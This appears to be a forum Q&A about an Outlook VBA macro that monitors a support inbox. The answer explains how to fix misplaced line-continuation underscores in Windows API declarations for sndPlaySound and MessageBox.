Compile Error: User defined type not defined(For "Mailbox - supportdesk\Inbox")
Dim objFM1 As FolderMonitor
Private Sub Application_Quit()
Set objFM1 = Nothing
End Sub
Private Sub Application_Startup()
Set objFM1 = New FolderMonitor
'Edit the folder path on the next line as needed.'
objFM1.FolderToWatch OpenOutlookFolder("Mailbox - supportdesk\Inbox")
End Sub

According to the code sample you've provided there you need a new line immediately after the _. The underscore character is a line continuation in VBA (which is what you're using, not VBScript. Slightly different beasts) and so requires that you continue on the next line, not the same line. So instead of
Public Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" _ (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long Public Declare Function MessageBox _
Lib "User32" Alias "MessageBoxA" _
(ByVal hWnd As Long, _
ByVal lpText As String, _
ByVal lpCaption As String, _
ByVal wType As Long) _
As Long
you should have
Public Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" _
(ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Public Declare Function MessageBox _
Lib "User32" Alias "MessageBoxA" _
(ByVal hWnd As Long, _
ByVal lpText As String, _
ByVal lpCaption As String, _
ByVal wType As Long) _
As Long
EDIT: I obviously didn't read all the way to the end of that example line, or else I would have seen that the example somehow managed to mash two function declarations onto one line as well as using the invalid positioning of the line separator. I've fixed that up now.